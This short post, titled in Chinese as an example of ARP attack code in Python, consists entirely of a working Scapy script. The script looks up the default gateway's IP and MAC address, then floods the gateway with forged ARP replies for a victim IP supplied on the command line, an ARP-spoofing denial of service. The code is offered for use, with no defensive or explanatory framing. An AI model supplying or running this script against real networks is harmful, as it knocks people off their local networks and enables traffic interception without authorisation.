python写的ARP攻击代码实例

from scapy.all import ARP,send
import os,re,sys

def get_gateway_ip():
t=os.popen('route -n')
for i in t:
if i.startswith('0.0.0.0'):
r=re.split("\s+",i)
return r[1]

def get_gateway_hw(ip):
t=os.popen('arp -e %s' % ip)
for i in t:
if i.startswith(ip):
r=re.split("\s+",i)
return r[2]

def hack(hackip):
ip=get_gateway_ip()
hw=get_gateway_hw(ip)
arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
#os.popen('ifconfig eth0 %s' % hackip )
while 1:
send(arp)

def help():
print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

def main():
if len(sys.argv) != 2:
help()
else:
hack(sys.argv[1])
if __name__=="__main__":
main()